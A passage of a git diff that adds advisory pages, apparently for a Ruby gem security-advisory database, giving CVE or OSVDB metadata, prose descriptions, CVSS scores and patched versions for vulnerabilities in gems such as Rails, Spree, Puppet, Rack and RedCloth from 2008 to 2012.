a/advisories/_posts/2008-12-08-CVE-2008-4310.md b/advisories/_posts/2008-12-08-CVE-2008-4310.md new file mode 100644 index 00000000..dbaa1c58 --- /dev/null +++ b/advisories/_posts/2008-12-08-CVE-2008-4310.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2008-4310 (webrick): WEBrick Denial of Service Vulnerability' +comments: false +categories: +- webrick +advisory: + gem: webrick + cve: 2008-4310 + ghsa: wfrc-r6c6-7j9r + url: https://bugzilla.redhat.com/show_bug.cgi?id=470252 + title: WEBrick Denial of Service Vulnerability + date: 2008-12-08 + description: |- + httputils.rb in WEBrick in Ruby 1.8.1 and 1.8.5, as used in Red Hat + Enterprise Linux 4 and 5, allows remote attackers to cause a + denial of service (CPU consumption) via a crafted HTTP request. + + NOTE: This issue exists because of an incomplete fix for CVE-2008-3656. + cvss_v2: 7.8 + patched_versions: + - ">= 1.3.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2008-4310 + - https://github.com/ruby/webrick/commit/b2ccd5ff7ddd67a4548299e110dcc5a4728a5534 + - http://www.openwall.com/lists/oss-security/2008/12/04/2 + - https://bugzilla.redhat.com/show_bug.cgi?id=470252 + - https://oval.cisecurity.org/repository/search/definition/oval + - http://www.redhat.com/support/errata/RHSA-2008-0981.html + - https://web.archive.org/web/20111230125610/http://secunia.com/advisories/33013 + - https://github.com/advisories/GHSA-wfrc-r6c6-7j9r +--- diff --git a/advisories/_posts/2009-07-10-CVE-2009-2422.md b/advisories/_posts/2009-07-10-CVE-2009-2422.md new file mode 100644 index 00000000..0f7e84f2 --- /dev/null +++ b/advisories/_posts/2009-07-10-CVE-2009-2422.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2009-2422 (rails): High Security Vulnerability with authenticate_with_http_digest + of Rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2009-2422 + ghsa: rxq3-gm4p-5fj4 + url: http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest + title: High Security Vulnerability with authenticate_with_http_digest of Rails + date: 2009-07-10 + description: |- + The example code for the digest authentication functionality + (http_authentication.rb) in Ruby on Rails before 2.3.3 defines + an authenticate_or_request_with_http_digest block that returns + nil instead of false when the user does not exist, which allows + context-dependent attackers to bypass authentication for + applications that are derived from this example by sending an + invalid username without a password. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 2.3.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-2422 + - http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest + - https://lists.apple.com/archives/security-announce/2010/Mar/msg00001.html + - https://exchange.xforce.ibmcloud.com/vulnerabilities/51528 + - http://support.apple.com/kb/HT4077 + - http://n8.tumblr.com/post/117477059/security-hole-found-in-rails-2-3s + - https://github.com/advisories/GHSA-rxq3-gm4p-5fj4 +--- diff --git a/advisories/_posts/2009-12-07-CVE-2009-4123.md b/advisories/_posts/2009-12-07-CVE-2009-4123.md new file mode 100644 index 00000000..54160ab1 --- /dev/null +++ b/advisories/_posts/2009-12-07-CVE-2009-4123.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2009-4123 (jruby-openssl): jruby-openssl Gem for JRuby fails to do proper + certificate validation' +comments: false +categories: +- jruby-openssl +- jruby +advisory: + gem: jruby-openssl + platform: jruby + cve: 2009-4123 + ghsa: xgv7-pqqh-h2w9 + url: http://jruby.org/2009/12/07/vulnerability-in-jruby-openssl + title: jruby-openssl Gem for JRuby fails to do proper certificate validation + date: 2009-12-07 + description: |- + A security problem involving peer certificate verification was found where + failed verification silently did nothing, making affected applications + vulnerable to attackers. Attackers could lead a client application to believe + that a secure connection to a rogue SSL server is legitimate. Attackers could + also penetrate client-validated SSL server applications with a dummy + certificate. + cvss_v3: 7.5 + patched_versions: + - ">= 0.6" +--- diff --git a/advisories/_posts/2010-02-01-OSVDB-62067.md b/advisories/_posts/2010-02-01-OSVDB-62067.md new file mode 100644 index 00000000..568740cd --- /dev/null +++ b/advisories/_posts/2010-02-01-OSVDB-62067.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'OSVDB-62067 (bcrypt): bcrypt-ruby Gem for Ruby incorrect encoding of non US-ASCII + characters (JRuby only)' +comments: false +categories: +- bcrypt +- jruby +advisory: + gem: bcrypt + platform: jruby + osvdb: 62067 + url: http://www.mindrot.org/files/jBCrypt/internat.adv + title: bcrypt-ruby Gem for Ruby incorrect encoding of non US-ASCII characters (JRuby + only) + date: 2010-02-01 + description: |- + In https://security.snyk.io/vuln/SNYK-RUBY-BCRYPT-20009, found + "The advisory has been revoked - it doesn't affect any version of package bcrypt" + + bcrypt-ruby Gem for Ruby suffered from a bug related to character + encoding that substantially reduced the entropy of hashed passwords + containing non US-ASCII characters. An incorrect encoding step + transparently replaced such characters by '?' prior to hashing. + In the worst case of a password consisting solely of non-US-ASCII + characters, this would cause its hash to be equivalent to all other + such passwords of the same length. + + This issue only affects the JRuby implementation. + patched_versions: + - ">= 2.1.4" + related: + url: + - https://github.com/jeremyh/jBCrypt + - http://www.mindrot.org/files/jBCrypt/internat.adv + - https://github.com/bcrypt-ruby/bcrypt-ruby/blob/master/ext/jruby/bcrypt_jruby/BCrypt.java +--- diff --git a/advisories/_posts/2010-04-27-OSVDB-110439.md b/advisories/_posts/2010-04-27-OSVDB-110439.md new file mode 100644 index 00000000..c8c0242f --- /dev/null +++ b/advisories/_posts/2010-04-27-OSVDB-110439.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-110439 (fog-dragonfly): Dragonfly Gem for Ruby Image Uploading & Processing + Remote Command Execution' +comments: false +categories: +- fog-dragonfly +advisory: + gem: fog-dragonfly + osvdb: 110439 + url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193 + title: Dragonfly Gem for Ruby Image Uploading & Processing Remote Command Execution + date: 2010-04-27 + description: |- + Dragonfly Gem for Ruby contains a flaw in Uploading & Processing + that is due to the gem failing to restrict arbitrary commands to + imagemagicks convert. This may allow a remote attacker to gain + read/write access to the filesystem and execute arbitrary commands. + + This gem has been renamed. Please use "dragonfly" from now on. + patched_versions: + - ">= 0.8.4" + related: + url: + - https://github.com/markevans/dragonfly/compare/v0.8.3...v0.8.4 + - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193 + - https://www.mend.io/vulnerability-database/WS-2014-0016 + - http://osvdb.org/show/osvdb/110439 +--- diff --git a/advisories/_posts/2010-08-12-OSVDB-114600.md b/advisories/_posts/2010-08-12-OSVDB-114600.md new file mode 100644 index 00000000..58a3a3d0 --- /dev/null +++ b/advisories/_posts/2010-08-12-OSVDB-114600.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-114600 (curb): curb Gem for Ruby Empty http_put Body Handling Remote + DoS' +comments: false +categories: +- curb +advisory: + gem: curb + osvdb: 114600 + url: https://my.diffend.io/gems/curb/versions/0.6.4.0 + title: curb Gem for Ruby Empty http_put Body Handling Remote DoS + date: 2010-08-12 + description: |- + curb Gem for Ruby contains a flaw that is triggered when handling + an empty http_put body. This may allow a remote attacker to crash + an application linked against the library. + patched_versions: + - ">= 0.7.8" + related: + url: + - https://my.diffend.io/gems/curb/versions/0.6.4.0 + - https://my.diffend.io/gems/curb/0.7.7.1/0.7.8 + - http://osvdb.org/show/osvdb/114600 +--- diff --git a/advisories/_posts/2010-11-02-CVE-2010-3978.md b/advisories/_posts/2010-11-02-CVE-2010-3978.md new file mode 100644 index 00000000..c6995a37 --- /dev/null +++ b/advisories/_posts/2010-11-02-CVE-2010-3978.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2010-3978 (spree): Spree Multiple Script JSON Request Validation Weakness + Remote Information Disclosure' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2010-3978 + osvdb: 69098 + ghsa: hwrx-wc75-mgh7 + url: https://spreecommerce.com/blog/json-hijacking-vulnerability + title: Spree Multiple Script JSON Request Validation Weakness Remote Information + Disclosure + date: 2010-11-02 + description: |- + Spree contains a flaw that may lead to an unauthorized information + disclosure. The issue is triggered when the application exchanges data using + the JSON service without validating requests, which will disclose sensitive + user and order information to a context-dependent attacker when a logged-in + user visits a crafted website. + cvss_v2: 5.0 + patched_versions: + - "~> 0.11.2" + - ">= 0.30.0" +--- diff --git a/advisories/_posts/2011-01-12-OSVDB-106954.md b/advisories/_posts/2011-01-12-OSVDB-106954.md new file mode 100644 index 00000000..cc23f4c1 --- /dev/null +++ b/advisories/_posts/2011-01-12-OSVDB-106954.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-106954 (quick_magick): quick_magick Gem for Ruby QuickMagick::Image.read + Function Crafted String Handling Remote Command Injection' +comments: false +categories: +- quick_magick +advisory: + gem: quick_magick + osvdb: 106954 + url: https://security.snyk.io/vuln/SNYK-RUBY-QUICKMAGICK-20012 + title: quick_magick Gem for Ruby QuickMagick::Image.read Function Crafted String + Handling Remote Command Injection + date: 2011-01-12 + description: |- + quick_magick Gem for Ruby contains a flaw in the QuickMagick::Image.read + function. The issue is triggered when handling a specially crafted string. + This may allow a remote attacker to inject arbitrary commands. + notes: Never patched + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-QUICKMAGICK-20012 + - http://osvdb.org/show/osvdb/106954 +--- diff --git a/advisories/_posts/2011-01-25-CVE-2011-0739.md b/advisories/_posts/2011-01-25-CVE-2011-0739.md new file mode 100644 index 00000000..422902e8 --- /dev/null +++ b/advisories/_posts/2011-01-25-CVE-2011-0739.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2011-0739 (mail): Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb + Email From: Address Arbitrary Shell Command Injection' +comments: false +categories: +- mail +advisory: + gem: mail + cve: 2011-0739 + osvdb: 70667 + ghsa: cpjc-p7fc-j9xh + url: https://nvd.nist.gov/vuln/detail/CVE-2011-0739 + title: 'Mail Gem for Ruby lib/mail/network/delivery_methods/sendmail.rb Email From: + Address Arbitrary Shell Command Injection' + date: 2011-01-25 + description: |- + Mail Gem for Ruby contains a flaw related to the failure to properly sanitise + input passed from an email from address in the 'deliver()' function in + 'lib/mail/network/delivery_methods/sendmail.rb' before being used as a + command line argument. This may allow a remote attacker to inject arbitrary + shell commands. + cvss_v2: 6.8 + patched_versions: + - ">= 2.2.15" +--- diff --git a/advisories/_posts/2011-02-10-CVE-2011-10019.md b/advisories/_posts/2011-02-10-CVE-2011-10019.md new file mode 100644 index 00000000..78387b26 --- /dev/null +++ b/advisories/_posts/2011-02-10-CVE-2011-10019.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2011-10019 (spree): Remote Command Execution in Spree search functionality' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2011-10019 + ghsa: 97vm-c39p-jr86 + url: https://github.com/advisories/GHSA-97vm-c39p-jr86 + title: Remote Command Execution in Spree search functionality + date: 2011-02-10 + description: |- + Spree versions prior to 0.60.2 contain a remote command execution + vulnerability in the search functionality. The application fails to + properly sanitize input passed via the `search[:send][]` parameter, + which is dynamically invoked using Ruby’s `send` method. This allows + attackers to execute arbitrary shell commands on the server without + authentication. + cvss_v2: 9.0 + cvss_v3: 9.8 + patched_versions: + - ">= 0.60.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-10019 + - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_search_exec.rb + - https://web.archive.org/web/20111009192436/http://spreecommerce.com/blog/2011/10/05/remote-command-product-group + - https://www.exploit-db.com/exploits/17941 + - https://www.vulncheck.com/advisories/spreecommerce-search-parameter-rce + - https://github.com/orgs/spree/spree + - https://github.com/advisories/GHSA-97vm-c39p-jr86 +--- diff --git a/advisories/_posts/2011-04-19-OSVDB-73751.md b/advisories/_posts/2011-04-19-OSVDB-73751.md new file mode 100644 index 00000000..32daa953 --- /dev/null +++ b/advisories/_posts/2011-04-19-OSVDB-73751.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'OSVDB-73751 (spree): Spree Content Controller Unspecified Arbitrary File Disclosure' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 73751 + url: https://web.archive.org/web/20160331142302/https://spreecommerce.com/blog/security-fixes + title: Spree Content Controller Unspecified Arbitrary File Disclosure + date: 2011-04-19 + description: |- + Spree Gem for Ruby would allow a user to request a specially crafted URL and + expose arbitrary files on the server + patched_versions: + - ">= 0.50.1" + related: + url: + - https://web.archive.org/web/20160331142302/https://spreecommerce.com/blog/security-fixes + - https://seclists.org/oss-sec/2015/q3/275 + - https://github.com/spree/spree/commit/0a2ee5fc68b22b8257e8a6cf1811598293416d33 +--- diff --git a/advisories/_posts/2011-05-13-CVE-2011-0995.md b/advisories/_posts/2011-05-13-CVE-2011-0995.md new file mode 100644 index 00000000..c247ec34 --- /dev/null +++ b/advisories/_posts/2011-05-13-CVE-2011-0995.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2011-0995 (sqlite3-ruby): rubygem-sqlite3 gem uses weak file permissions' +comments: false +categories: +- sqlite3-ruby +advisory: + gem: sqlite3-ruby + cve: 2011-0995 + ghsa: 6x46-7rrv-m4h8 + osvdb: 72180 + url: https://www.suse.com/security/cve/CVE-2011-0995.html + title: rubygem-sqlite3 gem uses weak file permissions + date: 2011-05-13 + description: |- + The sqlite3-ruby gem in the rubygem-sqlite3 package before + 1.2.4-0.5.1 in SUSE Linux Enterprise (SLE) 11 SP1 uses weak + permissions for unspecified files, which allows local users + to gain privileges via unknown vectors. + cvss_v2: 2.1 + patched_versions: + - ">= 1.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-0995 + - https://www.suse.com/security/cve/CVE-2011-0995.html + - http://www.osvdb.org/72180 + - https://github.com/advisories/GHSA-6x46-7rrv-m4h8 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/67263 + - https://ubuntu.com/security/CVE-2011-0995 + - https://cve.circl.lu/cve/CVE-2011-0995 +--- diff --git a/advisories/_posts/2011-08-16-CVE-2011-3186.md b/advisories/_posts/2011-08-16-CVE-2011-3186.md new file mode 100644 index 00000000..3cf1bb66 --- /dev/null +++ b/advisories/_posts/2011-08-16-CVE-2011-3186.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2011-3186 (actionpack): Response Splitting Vulnerability in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-3186 + osvdb: 74616 + ghsa: fcqf-h4h4-695m + url: https://groups.google.com/forum/#!topic/rubyonrails-security/b_yTveAph2g + title: Response Splitting Vulnerability in Ruby on Rails + date: 2011-08-16 + description: |- + A response splitting flaw in Ruby on Rails 2.3.x was reported that could allow + a remote attacker to inject arbitrary HTTP headers into a response due to + insufficient sanitization of the values provided for response content types. + cvss_v2: 4.3 + patched_versions: + - ">= 2.3.13" +--- diff --git a/advisories/_posts/2011-09-01-CVE-2011-4969.md b/advisories/_posts/2011-09-01-CVE-2011-4969.md new file mode 100644 index 00000000..1f6eb73c --- /dev/null +++ b/advisories/_posts/2011-09-01-CVE-2011-4969.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2011-4969 (jquery-rails): jQuery vulnerable to Cross-Site Scripting (XSS)' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2011-4969 + ghsa: 579v-mp3v-rrw5 + url: http://blog.jquery.com/2011/09/01/jquery-1-6-3-released + title: jQuery vulnerable to Cross-Site Scripting (XSS) + date: 2011-09-01 + description: |- + Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, + when using location.hash to select elements, allows remote attackers + to inject arbitrary web script or HTML via a crafted tag. + cvss_v2: 4.3 + patched_versions: + - ">= 1.6.3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-4969 + - http://blog.jquery.com/2011/09/01/jquery-1-6-3-released + - http://blog.mindedsecurity.com/2011/07/jquery-is-sink.html + - http://bugs.jquery.com/ticket/9521 + - https://github.com/jquery/jquery/commit/db9e023e62c1ff5d8f21ed9868ab6878da2005e9 + - https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8 + - https://security.netapp.com/advisory/ntap-20190416-0007 + - http://www.openwall.com/lists/oss-security/2013/01/31/3 + - http://www.ubuntu.com/usn/USN-1722-1 + - https://security.snyk.io/vuln/SNYK-DOTNET-JQUERY-450224 + - https://github.com/advisories/GHSA-579v-mp3v-rrw5 +--- diff --git a/advisories/_posts/2011-09-01-OSVDB-97854.md b/advisories/_posts/2011-09-01-OSVDB-97854.md new file mode 100644 index 00000000..1c600129 --- /dev/null +++ b/advisories/_posts/2011-09-01-OSVDB-97854.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'OSVDB-97854 (fog-dragonfly): Dragonfly Gem for Ruby on Windows Shell Escaping + Weakness' +comments: false +categories: +- fog-dragonfly +advisory: + gem: fog-dragonfly + osvdb: 97854 + url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20016 + title: Dragonfly Gem for Ruby on Windows Shell Escaping Weakness + date: 2011-09-01 + description: |- + Dragonfly Gem for Ruby contains a flaw that is due to the program + failing to properly escape a shell that contains injected characters. + This may allow a context-dependent attacker to potentially execute + arbitrary commands. + + This gem has been renamed. Please use "dragonfly" from now on. + patched_versions: + - ">= 0.9.6" + related: + url: + - https://github.com/markevans/dragonfly/blob/master/spec/dragonfly/shell_spec.rb#L26 + - https://github.com/markevans/dragonfly/pull/506 + - https://github.com/markevans/dragonfly/commit/f4f8e37a171a34f0ef3a6d80b52f44ed4d66d3bc + - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20016 + - http://osvdb.org/show/osvdb/97854 +--- diff --git a/advisories/_posts/2011-09-20-OSVDB-115917.md b/advisories/_posts/2011-09-20-OSVDB-115917.md new file mode 100644 index 00000000..176d44c0 --- /dev/null +++ b/advisories/_posts/2011-09-20-OSVDB-115917.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-115917 (bundler): Bundler Gem for Ruby install Command Process Listing + Local Plaintext Credential Disclosure' +comments: false +categories: +- bundler +advisory: + gem: bundler + osvdb: 115917 + url: https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8 + title: Bundler Gem for Ruby install Command Process Listing Local Plaintext Credential + Disclosure + date: 2011-09-20 + description: |- + Bundler Gem for Ruby contains a flaw that is due to the program listing + credential information in plaintext in the install command process listing. + This may allow a local attacker to gain access to credential information. + patched_versions: + - ">= 1.1.rc" + related: + url: + - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8 + - https://my.diffend.io/gems/bundler/versions/1.1.rc + - https://github.com/rubygems/bundler/commit/95bb14483cf8af857dc901c22db48cd3057d243e + - https://github.com/rubygems/bundler/pull/1463 + - https://github.com/rubygems/bundler/issues/1440 + - http://www.osvdb.org/show/osvdb/115917 +--- diff --git a/advisories/_posts/2011-10-05-CVE-2011-10019.md b/advisories/_posts/2011-10-05-CVE-2011-10019.md new file mode 100644 index 00000000..53466470 --- /dev/null +++ b/advisories/_posts/2011-10-05-CVE-2011-10019.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2011-10019 (spree): Remote Command Execution in Spree search functionality' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2011-10019 + osvdb: 76011 + ghsa: 97vm-c39p-jr86 + url: https://nvd.nist.gov/vuln/detail/CVE-2011-10019 + title: Remote Command Execution in Spree search functionality + date: 2011-10-05 + description: |- + Spree versions prior to 0.60.2 contain a remote command execution + vulnerability in the search functionality. The application fails to + properly sanitize input passed via the `search[:send][]` parameter, + which is dynamically invoked using Ruby’s `send` method. This allows + attackers to execute arbitrary shell commands on the server without + authentication. + cvss_v2: 9.0 + cvss_v3: 9.8 + cvss_v4: 10.0 + patched_versions: + - ">= 0.60.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-10019 + - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_search_exec.rb + - https://web.archive.org/web/20111009192436/http://spreecommerce.com/blog/2011/10/05/remote-command-product-group + - https://www.exploit-db.com/exploits/17941 + - https://www.vulncheck.com/advisories/spreecommerce-search-parameter-rce + - https://github.com/orgs/spree/spree + - https://github.com/advisories/GHSA-97vm-c39p-jr86 +--- diff --git a/advisories/_posts/2011-10-05-OSVDB-76011.md b/advisories/_posts/2011-10-05-OSVDB-76011.md new file mode 100644 index 00000000..af0c8262 --- /dev/null +++ b/advisories/_posts/2011-10-05-OSVDB-76011.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-76011 (spree): Spree Search ProductScope Class search[send][] Parameter + Arbitrary Command Execution' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 76011 + url: https://web.archive.org/web/20121124215359/https://spreecommerce.com/blog/remote-command-product-group + title: Spree Search ProductScope Class search[send][] Parameter Arbitrary Command + Execution + date: 2011-10-05 + description: |- + The ProductScope class fails to properly sanitize user-supplied input via the + 'search[send][]' parameter resulting in arbitrary command execution. With a + specially crafted request, a remote attacker can potentially cause arbitrary + command execution. + patched_versions: + - ">= 0.60.2" + related: + url: + - https://web.archive.org/web/20121124215359/https://spreecommerce.com/blog/remote-command-product-group +--- diff --git a/advisories/_posts/2011-10-27-CVE-2011-3870.md b/advisories/_posts/2011-10-27-CVE-2011-3870.md new file mode 100644 index 00000000..5def1b9e --- /dev/null +++ b/advisories/_posts/2011-10-27-CVE-2011-3870.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2011-3870 (puppet): Puppet allows local users to modify the permissions + of arbitrary files' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2011-3870 + ghsa: qh3g-27jf-3j54 + url: https://puppet.com/security/cve/cve-2011-3870 + title: Puppet allows local users to modify the permissions of arbitrary files + date: 2011-10-27 + description: |- + Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x + allows local users to modify the permissions of arbitrary + files via a symlink attack on the SSH authorized_keys file. + cvss_v2: 6.3 + patched_versions: + - "~> 2.6.11" + - ">= 2.7.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-3870 + - https://puppet.com/security/cve/cve-2011-3870 + - https://github.com/puppetlabs/puppet/commit/88512e880bd2a03694b5fef42540dc7b3da05d30 + - https://github.com/puppetlabs/puppet/commit/b29b1785d543a3cea961fffa9b3c15f14ab7cce0 + - http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html + - http://www.debian.org/security/2011/dsa-2314 + - http://www.ubuntu.com/usn/USN-1223-1 + - http://www.ubuntu.com/usn/USN-1223-2 + - https://github.com/advisories/GHSA-qh3g-27jf-3j54 +--- diff --git a/advisories/_posts/2011-10-27-CVE-2011-3871.md b/advisories/_posts/2011-10-27-CVE-2011-3871.md new file mode 100644 index 00000000..6cd73863 --- /dev/null +++ b/advisories/_posts/2011-10-27-CVE-2011-3871.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2011-3871 (puppet): Puppet uses predictable filenames, allowing arbitrary + file overwrite' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2011-3871 + ghsa: mpmx-gm5v-q789 + url: https://puppet.com/security/cve/cve-2011-3871 + title: Puppet uses predictable filenames, allowing arbitrary file overwrite + date: 2011-10-27 + description: |- + Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x, + when running in `--edit` mode, uses a predictable file name, which + allows local users to run arbitrary Puppet code or trick a user + into editing arbitrary files. + cvss_v2: 6.2 + patched_versions: + - "~> 2.6.11" + - ">= 2.7.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-3871 + - https://puppet.com/security/cve/cve-2011-3871 + - https://github.com/puppetlabs/puppet/commit/343c7bd381b63e042d437111718918f951d9b30d + - https://github.com/puppetlabs/puppet/commit/d76c30935460ded953792dfe49f72b8c5158e899 + - http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html + - http://www.debian.org/security/2011/dsa-2314 + - http://www.ubuntu.com/usn/USN-1223-1 + - http://www.ubuntu.com/usn/USN-1223-2 + - https://github.com/advisories/GHSA-mpmx-gm5v-q789 +--- diff --git a/advisories/_posts/2011-11-17-CVE-2011-4319.md b/advisories/_posts/2011-11-17-CVE-2011-4319.md new file mode 100644 index 00000000..7472fcce --- /dev/null +++ b/advisories/_posts/2011-11-17-CVE-2011-4319.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2011-4319 (actionpack): XSS vulnerability in the translate helper method + in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-4319 + osvdb: 77199 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/K2HXD7c8fMU + title: XSS vulnerability in the translate helper method in Ruby on Rails + date: 2011-11-17 + description: | + A cross-site scripting (XSS) flaw was found in the way the 'translate' helper + method of the Ruby on Rails performed HTML escaping of interpolated user + input, when interpolation in combination with HTML-safe translations were + used. A remote attacker could use this flaw to execute arbitrary HTML or web + script by providing a specially-crafted input to Ruby on Rails application, + using the ActionPack module and its 'translate' helper method without explicit + (application specific) sanitization of user provided input. + cvss_v2: 4.3 + patched_versions: + - "~> 3.0.11" + - ">= 3.1.2" +--- diff --git a/advisories/_posts/2011-12-28-CVE-2011-5036.md b/advisories/_posts/2011-12-28-CVE-2011-5036.md new file mode 100644 index 00000000..e689ac5d --- /dev/null +++ b/advisories/_posts/2011-12-28-CVE-2011-5036.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2011-5036 (rack): CVE-2011-5036 rubygem-rack: hash table collisions DoS + (oCERT-2011-003)' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2011-5036 + osvdb: 78121 + ghsa: v6j3-7jrw-hq2p + url: https://nvd.nist.gov/vuln/detail/CVE-2011-5036 + title: 'CVE-2011-5036 rubygem-rack: hash table collisions DoS (oCERT-2011-003)' + date: 2011-12-28 + description: |- + Rack before 1.1.3, 1.2.x before 1.2.5, and 1.3.x before 1.3.6 computes + hash values for form parameters without restricting the ability to trigger hash + collisions predictably, which allows remote attackers to cause a denial of service + (CPU consumption) by sending many crafted parameters. + cvss_v2: 5.0 + patched_versions: + - "~> 1.1.3" + - "~> 1.2.5" + - "~> 1.3.6" + - ">= 1.4.0" +--- diff --git a/advisories/_posts/2012-02-01-CVE-2012-6135.md b/advisories/_posts/2012-02-01-CVE-2012-6135.md new file mode 100644 index 00000000..e89d6fdf --- /dev/null +++ b/advisories/_posts/2012-02-01-CVE-2012-6135.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2012-6135 (passenger): Phusion Passenger Gem for Ruby Arbitrary File Deletion' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2012-6135 + osvdb: 90738 + ghsa: 8mw8-j583-vqfg + url: http://old.blog.phusion.nl/2013/03/05/phusion-passenger-4-0-beta-1-and-2-arbitrary-file-deletion-vulnerability/ + title: Phusion Passenger Gem for Ruby Arbitrary File Deletion + date: 2012-02-01 + description: |- + Phusion Passenger Gem for Ruby contains a flaw that is triggered during + application startup. This issue may allow a local attacker to delete arbitrary files + via an application process. If the program has completed the start up process this + vulnerability is no longer exploitable. + cvss_v2: 2.1 + cvss_v3: 7.5 + unaffected_versions: + - "< 4.0.0.beta" + patched_versions: + - ">= 4.0.0" +--- diff --git a/advisories/_posts/2012-02-29-CVE-2012-6684.md b/advisories/_posts/2012-02-29-CVE-2012-6684.md new file mode 100644 index 00000000..1a80fece --- /dev/null +++ b/advisories/_posts/2012-02-29-CVE-2012-6684.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2012-6684 (RedCloth): CVE-2012-6684 rubygem-RedCloth: XSS vulnerability' +comments: false +categories: +- RedCloth +advisory: + gem: RedCloth + cve: 2012-6684 + ghsa: r23g-3qw4-gfh2 + osvdb: 115941 + url: https://co3k.org/blog/redcloth-unfixed-xss-en + title: 'CVE-2012-6684 rubygem-RedCloth: XSS vulnerability' + date: 2012-02-29 + description: |- + Cross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9 + for Ruby and earlier allows remote attackers to inject arbitrary + web script or HTML via a javascript: URI. + cvss_v2: 4.3 + patched_versions: + - ">= 4.3.0" + related: + url: + - http://co3k.org/blog/redcloth-unfixed-xss-en + - https://gist.github.com/co3k/75b3cb416c342aa1414c + - https://github.com/jgarber/redcloth/commit/2f6dab4d6aea5cee778d2f37a135637fe3f1573c + - https://github.com/jgarber/redcloth/commit/b24f03db023d1653d60dd33b28e09317cd77c6a0 + - https://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss + - https://web.archive.org/web/20150128115714/http://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss + - https://nvd.nist.gov/vuln/detail/CVE-2012-6684 + - https://github.com/advisories/GHSA-r23g-3qw4-gfh2 + - http://seclists.org/fulldisclosure/2014/Dec/50 + - http://www.debian.org/security/2015/dsa-3168 +--- diff --git a/advisories/_posts/2012-03-01-CVE-2012-1098.md 